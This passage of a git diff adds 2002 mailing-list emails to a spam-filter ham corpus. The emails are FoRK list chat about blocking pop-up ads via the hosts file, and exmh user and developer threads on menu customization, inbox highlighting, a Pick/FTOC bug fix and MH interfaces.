fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 05 Aug 2002 11:28:40 -0400 + +Obviously you need a server at 127.0.0.1 that serves well known cookies... + +The arms race continues. + +sdw + +Udhay Shankar N wrote: + +> At 09:24 PM 8/3/02 -0700, Mr. FoRK wrote: +> +>> Don't know if everybody knows this trick... +>> +>> Puts 127.0.0.1 as the IP for adservers. Elegant. +> +> +> You should note that this trick has been out-evolved by [some] +> websites. These sites (e.g, yahoo) require a cookie that is set by the +> pop-up ad to be present before your browsing can continue... +> +> Udhay +> + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00768.23c2c636203be69ecbbde86ff686598f b/bayes/spamham/easy_ham_2/00768.23c2c636203be69ecbbde86ff686598f new file mode 100644 index 0000000..43c4ea2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00768.23c2c636203be69ecbbde86ff686598f @@ -0,0 +1,58 @@ +From fork-admin@xent.com Tue Aug 6 12:01:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AABBC44201 + for ; Tue, 6 Aug 2002 06:49:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:35 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g75Fluk16797 for ; + Mon, 5 Aug 2002 16:47:57 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D10F92940D6; Mon, 5 Aug 2002 08:45:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id DD2812940CB for + ; Mon, 5 Aug 2002 08:44:59 -0700 (PDT) +Received: (qmail 32454 invoked by uid 508); 5 Aug 2002 15:45:39 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.114) by + venus.phpwebhosting.com with SMTP; 5 Aug 2002 15:45:39 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g75FiQ014693; Mon, 5 Aug 2002 17:44:52 +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: "Stephen D. Williams" +Cc: Udhay Shankar N , + "Mr. FoRK" , +Subject: Re: Using hosts file to rid yourself of popup ads +In-Reply-To: <3D4E99A8.9000801@lig.net> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 5 Aug 2002 17:44:26 +0200 (CEST) + +On Mon, 5 Aug 2002, Stephen D. Williams wrote: + +> Obviously you need a server at 127.0.0.1 that serves well known cookies... + +Well known *one-time* cookies? + +> The arms race continues. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00769.f393aa552513fa0f55aa7d3229dd25d3 b/bayes/spamham/easy_ham_2/00769.f393aa552513fa0f55aa7d3229dd25d3 new file mode 100644 index 0000000..9b95189 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00769.f393aa552513fa0f55aa7d3229dd25d3 @@ -0,0 +1,79 @@ +From exmh-users-admin@redhat.com Tue Aug 6 14:30:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 86D1144128 + for ; Tue, 6 Aug 2002 09:28:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 14:28:45 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76DUek32062 for + ; Tue, 6 Aug 2002 14:30:40 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id E8F3A3F4FB; Tue, 6 Aug 2002 + 09:29:06 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 935D63EB4E + for ; Tue, 6 Aug 2002 09:28:26 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g76DSPG26582 for exmh-users@listman.redhat.com; Tue, 6 Aug 2002 + 09:28:25 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g76DSPq26574 for + ; Tue, 6 Aug 2002 09:28:25 -0400 +Received: from washington.bellatlantic.net + (pool-151-203-19-38.bos.east.verizon.net [151.203.19.38]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g76DFVl25958 for + ; Tue, 6 Aug 2002 09:15:31 -0400 +Received: by washington.bellatlantic.net (Postfix, from userid 500) id + 580676F972; Tue, 6 Aug 2002 09:29:11 -0400 (EDT) +Received: from washington (localhost [127.0.0.1]) by + washington.bellatlantic.net (Postfix) with ESMTP id 4B75F6EED9 for + ; Tue, 6 Aug 2002 09:29:11 -0400 (EDT) +To: exmh-users@spamassassin.taint.org +Subject: integrating a couple spamassassin actions into the More... menu +X-Attribution: HWF +X-Uri: +X-Image-Url: http://www.feinsteins.net/harlan/images/harlanface.jpg +From: Harlan Feinstein +Message-Id: <20020806132911.580676F972@washington.bellatlantic.net> +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Tue, 06 Aug 2002 09:29:06 -0400 + +I'm positive some of you folks have done this, so perhaps someone can just +drop me a pointer to where it's already been discussed? + +In particular, I was going to have a menu entry available for: + +o remove the SA markup from a message +o add/remove addresses to whitelist + +Help! :-) I've never done customization of this type to my exmh install. +I'm running version 2.4 (6/23/2000) on RedHat 7.3 + +--Harlan + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00770.8cb32504b46873dd138e648e2207e4a0 b/bayes/spamham/easy_ham_2/00770.8cb32504b46873dd138e648e2207e4a0 new file mode 100644 index 0000000..9f9e3d8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00770.8cb32504b46873dd138e648e2207e4a0 @@ -0,0 +1,82 @@ +From exmh-users-admin@redhat.com Tue Aug 6 14:41:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 622DE44132 + for ; Tue, 6 Aug 2002 09:41:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 14:41:06 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76Dgdk32657 for + ; Tue, 6 Aug 2002 14:42:39 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 3D0BD3F62B; Tue, 6 Aug 2002 + 09:41:04 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id A908F3F230 + for ; Tue, 6 Aug 2002 09:40:55 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g76DesO29064 for exmh-users@listman.redhat.com; Tue, 6 Aug 2002 + 09:40:54 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g76Desq29059 for + ; Tue, 6 Aug 2002 09:40:54 -0400 +Received: from ratree.psu.ac.th ([202.28.97.2]) by mx1.spamassassin.taint.org + (8.11.6/8.11.6) with SMTP id g76DRwl28844 for ; + Tue, 6 Aug 2002 09:27:58 -0400 +Received: from delta.cs.mu.OZ.AU (delta.coe.psu.ac.th [172.30.0.98]) by + ratree.psu.ac.th (8.11.6/8.11.6) with ESMTP id g76DehG05889 for + ; Tue, 6 Aug 2002 20:40:44 +0700 (ICT) +Received: from munnari.OZ.AU (localhost [127.0.0.1]) by delta.cs.mu.OZ.AU + (8.11.6/8.11.6) with ESMTP id g76De7H26594 for ; + Tue, 6 Aug 2002 20:40:07 +0700 (ICT) +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +From: Robert Elz +To: exmh-users@spamassassin.taint.org +Subject: Re: inbox mail notification broken +In-Reply-To: +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Message-Id: <26592.1028641206@munnari.OZ.AU> +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Tue, 06 Aug 2002 20:40:06 +0700 + + Date: Tue, 06 Aug 2002 09:04:58 +0100 + From: Marc Baaden + Message-ID: + + | Any hints ? + +Probably a private sequence has gotten set, the highlighting only +works for public ones. + +If "scan unseen" works as you'd expect, but highlighting doesn't, +that's the usual explanation. + +kre + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00771.0bb4530c388956332274668ddef8daf6 b/bayes/spamham/easy_ham_2/00771.0bb4530c388956332274668ddef8daf6 new file mode 100644 index 0000000..92c0ddd --- /dev/null +++ b/bayes/spamham/easy_ham_2/00771.0bb4530c388956332274668ddef8daf6 @@ -0,0 +1,120 @@ +From exmh-users-admin@redhat.com Tue Aug 6 15:21:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9AB6844128 + for ; Tue, 6 Aug 2002 10:21:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 15:21:49 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76EJMk02725 for + ; Tue, 6 Aug 2002 15:19:23 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 7DED23EBD6; Tue, 6 Aug 2002 + 10:16:03 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id DB52F3F7B6 + for ; Tue, 6 Aug 2002 10:14:12 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g76EEBW03259 for exmh-users@listman.redhat.com; Tue, 6 Aug 2002 + 10:14:11 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g76EEBq03255 for + ; Tue, 6 Aug 2002 10:14:11 -0400 +Received: from oxmail.ox.ac.uk (oxmail2.ox.ac.uk [163.1.2.1]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g76E1Hl04987 for + ; Tue, 6 Aug 2002 10:01:17 -0400 +Received: from heraldgate2.oucs.ox.ac.uk ([163.1.2.50] + helo=frontend2.herald.ox.ac.uk ident=exim) by oxmail.ox.ac.uk with esmtp + (Exim 3.34 #1) id 17c56A-0007M1-02 for exmh-users@redhat.com; + Tue, 06 Aug 2002 15:14:10 +0100 +Received: from fepa.biop.ox.ac.uk ([163.1.16.72] ident=baaden) by + frontend2.herald.ox.ac.uk with esmtp (Exim 3.32 #1) id 17c569-0000Jv-00 + for exmh-users@redhat.com; Tue, 06 Aug 2002 15:14:09 +0100 +X-Mailer: exmh version 2.5 07/13/2001 (debian 2.3.1-1) with nmh-1.0.4+dev +To: exmh-users@spamassassin.taint.org +Subject: Re: inbox mail notification broken +In-Reply-To: Your message of + "Tue, 06 Aug 2002 20:40:06 +0700." + <26592.1028641206@munnari.OZ.AU> +X-Image-Url: http://crypt.u-strasbg.fr/marc/m-baaden.gif +X-Url: +X-Face: -Nz&SN]%I8g9WFR#/!fe9se!_G_OndNloj@t+6jrGsoZ"z)?an0n + P!Nls~*o?u7fy:]1N|^^(KX*uE>Nk{bHaCJ)(hXF~E#5)j.k0n4hgfIzpmn,[VY'\7X:;VOZ\CItIq + G!2f8,k2`VLrkXQ:<.3LxEQ'E-;d:A)V# +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +From: Marc Baaden +Message-Id: +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Tue, 06 Aug 2002 15:14:05 +0100 + + +Hi, + +sorry, but I am not very familiar with this sequence business and +couldn't find an answer to my problem in the documentation. + +In fact, to be precise, it seems only to be the highlighting in +the folder cache part and only for the inbox which does not work. + +Is there anything I could/should check ? Any file, .. ? + +Thanks, +Marc + +>>> Robert Elz said: + >> Date: Tue, 06 Aug 2002 09:04:58 +0100 + >> From: Marc Baaden + >> Message-ID: + >> + >> | Any hints ? + >> + >> Probably a private sequence has gotten set, the highlighting only + >> works for public ones. + >> + >> If "scan unseen" works as you'd expect, but highlighting doesn't, + >> that's the usual explanation. + >> + >> kre + >> + >> + >> + >> _______________________________________________ + >> Exmh-users mailing list + >> Exmh-users@redhat.com + >> https://listman.redhat.com/mailman/listinfo/exmh-users + >> + +Marc Baaden + +-- + Dr. Marc Baaden - Laboratory of Molecular Biophysics, Oxford University + mailto:baaden@smplinux.de - ICQ# 11466242 - http://www.marc-baaden.de + FAX/Voice +49 697912 39550 - Tel: +44 1865 275380 or +33 609 843217 + + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00772.c3b24116536159a3568324b3310a48df b/bayes/spamham/easy_ham_2/00772.c3b24116536159a3568324b3310a48df new file mode 100644 index 0000000..d5e0303 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00772.c3b24116536159a3568324b3310a48df @@ -0,0 +1,89 @@ +From exmh-users-admin@redhat.com Tue Aug 6 18:53:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 85099440A8 + for ; Tue, 6 Aug 2002 13:53:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 18:53:49 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76Hofk13018 for + ; Tue, 6 Aug 2002 18:50:44 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 696593F2C1; Tue, 6 Aug 2002 + 13:48:57 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 7BA5640655 + for ; Tue, 6 Aug 2002 11:29:12 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g76FTB026296 for exmh-users@listman.redhat.com; Tue, 6 Aug 2002 + 11:29:11 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g76FTAq26286 for + ; Tue, 6 Aug 2002 11:29:10 -0400 +Received: from mandark.labs.netnoteinc.com ([194.165.165.199]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g76FGEl01542 for + ; Tue, 6 Aug 2002 11:16:14 -0400 +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g76FT2p23835 for ; Tue, 6 Aug 2002 16:29:02 + +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + E22F544129; Tue, 6 Aug 2002 10:55:53 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id DFDB1341E6 for + ; Tue, 6 Aug 2002 15:55:53 +0100 (IST) +To: exmh-users@spamassassin.taint.org +Subject: Re: integrating a couple spamassassin actions into the More... menu +In-Reply-To: Message from Harlan Feinstein of + "Tue, 06 Aug 2002 09:29:06 EDT." + <20020806132911.580676F972@washington.bellatlantic.net> +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Message-Id: <20020806145553.E22F544129@phobos.labs.netnoteinc.com> +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Tue, 06 Aug 2002 15:55:48 +0100 + + +Harlan Feinstein said: + +> In particular, I was going to have a menu entry available for: +> o remove the SA markup from a message +> o add/remove addresses to whitelist +> Help! :-) I've never done customization of this type to my exmh install. +> I'm running version 2.4 (6/23/2000) on RedHat 7.3 + +Despite being the author of SpamAssassin, I've never fixed exmh to do +this. I am therefore clearly not an exmh hacker ;) + +But to simplify -- the first action is piping the message to an external +command, then replacing the message file with the output; and the second +is simply piping the message to another command, then ignoring the output. +I'd say it's easy enough to do, if someone can provide the tcl. + +--j. + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00773.588b49e12a139c86b8680ce0aa9328a4 b/bayes/spamham/easy_ham_2/00773.588b49e12a139c86b8680ce0aa9328a4 new file mode 100644 index 0000000..c66af07 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00773.588b49e12a139c86b8680ce0aa9328a4 @@ -0,0 +1,143 @@ +From exmh-workers-admin@redhat.com Tue Aug 6 23:17:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EEA9C440A8 + for ; Tue, 6 Aug 2002 18:17:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 23:17:02 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76MHSk21029 for + ; Tue, 6 Aug 2002 23:17:28 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 38ECD3F5B5; Tue, 6 Aug 2002 + 18:16:02 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 7B2E84038C + for ; Tue, 6 Aug 2002 18:14:40 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g76MEdc30538 for exmh-workers@listman.redhat.com; Tue, 6 Aug 2002 + 18:14:39 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g76MEdq30534 for + ; Tue, 6 Aug 2002 18:14:39 -0400 +Received: from austin-jump.vircio.com (jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g76M1fl29081 + for ; Tue, 6 Aug 2002 18:01:41 -0400 +Received: (qmail 20229 invoked by uid 104); 6 Aug 2002 22:14:38 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4216. . Clean. Processed in 0.456682 + secs); 06/08/2002 17:14:37 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 6 Aug 2002 22:14:37 -0000 +Received: (qmail 3781 invoked from network); 6 Aug 2002 22:14:34 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?KvRUZmfarpCGCPAn2RDtc8AtL/NljmRe?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 6 Aug 2002 22:14:34 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Brent Welch , exmh-workers@spamassassin.taint.org +Subject: Re: scan bug: no update after Pick's "New FTOC" +In-Reply-To: <1028225397.7935.TMDA@deepeddy.vircio.com> +References: <200208010450.AAA07420@blackcomb.panasas.com> + <1028214066.14545.TMDA@deepeddy.vircio.com> + <1028225397.7935.TMDA@deepeddy.vircio.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-1362576751P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1028672074.3772.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Tue, 06 Aug 2002 17:14:33 -0500 + +--==_Exmh_-1362576751P +Content-Type: text/plain; charset=us-ascii + +> From: Chris Garrigues +> Date: Thu, 01 Aug 2002 13:09:56 -0500 +> +> > From: Chris Garrigues +> > Date: Thu, 01 Aug 2002 10:01:04 -0500 +> > +> > > If you run Pick, and then use the "New FTOC" button to show only +> > > those messages selected by pick, then the ftoc display was considered +> > > "invalid" in the old code. This prevented the display from being cache +> d, +> > > and it meant that you could get back to the full folder display by +> > > clicking on the folder lablel. That doesn't work anymore. You have +> > > to resort to Rescan Folder. In fact, when you change folders you +> > > continue to have the Pick results, not the new folder contents. +> > > If you go to a any folder and do Rescan, then it heals itself. +> > +> > Well, that's obviously my fault. Okay, will look when I get a chance. +> +> My copy of the tree right now is full of organizational changes in +> preparation for generalizing the unseen window for display of other +> sequences, so I'll probably not check in a fix for this until I +> stabilize that. + +I've checked in my organizational changes and I've checked in a fix for the +invalid sequence bug. + +My next task is to actually create a general sequences window now that the +data that it will display is available. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-1362576751P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9UEpJK9b4h5R0IUIRAly4AJ9JqYqattDLUZzch4PiTiuPPSa71wCfcmGj +svaqQHz1vj1kC38IMUdkH7g= +=8BBR +-----END PGP SIGNATURE----- + +--==_Exmh_-1362576751P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00774.4597cd41ff06a2de83c33c801f1f5321 b/bayes/spamham/easy_ham_2/00774.4597cd41ff06a2de83c33c801f1f5321 new file mode 100644 index 0000000..f339817 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00774.4597cd41ff06a2de83c33c801f1f5321 @@ -0,0 +1,80 @@ +From exmh-users-admin@redhat.com Wed Aug 7 06:44:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2B08D440C8 + for ; Wed, 7 Aug 2002 01:44:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 06:44:07 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g775fak12384 for + ; Wed, 7 Aug 2002 06:41:36 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 354D33F4A5; Wed, 7 Aug 2002 + 01:40:02 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 37CC43F4A5 + for ; Wed, 7 Aug 2002 01:39:02 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g775d1U07100 for exmh-users@listman.redhat.com; Wed, 7 Aug 2002 + 01:39:01 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g775d0q07096 for + ; Wed, 7 Aug 2002 01:39:00 -0400 +Received: from sss.pgh.pa.us (root@[192.204.191.242]) by mx1.spamassassin.taint.org + (8.11.6/8.11.6) with SMTP id g775Q0l29971 for ; + Wed, 7 Aug 2002 01:26:00 -0400 +Received: from sss2.sss.pgh.pa.us (tgl@localhost [127.0.0.1]) by + sss.pgh.pa.us (8.12.5/8.12.5) with ESMTP id g775ctVk012949 for + ; Wed, 7 Aug 2002 01:38:55 -0400 (EDT) +To: exmh-users@spamassassin.taint.org +Subject: Re: curses interface to nmh +In-Reply-To: <4058.1028618719@kanga.nu> +References: <20020806014000.48D429E@whatexit.org> <4058.1028618719@kanga.nu> +Comments: In-reply-to J C Lawrence message dated "Tue, 06 + Aug 2002 00:25:19 -0700" +Message-Id: <12948.1028698735@sss.pgh.pa.us> +From: Tom Lane +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Wed, 07 Aug 2002 01:38:55 -0400 + +J C Lawrence writes: +> Tom Reingold wrote: +>> Years ago, there was a package called mh-e which was an emacs +>> interface to MH. I don't know if it's still around or works. But +>> it's an idea. + +> Its still around, its actively maintained, and its quite well evolved. + 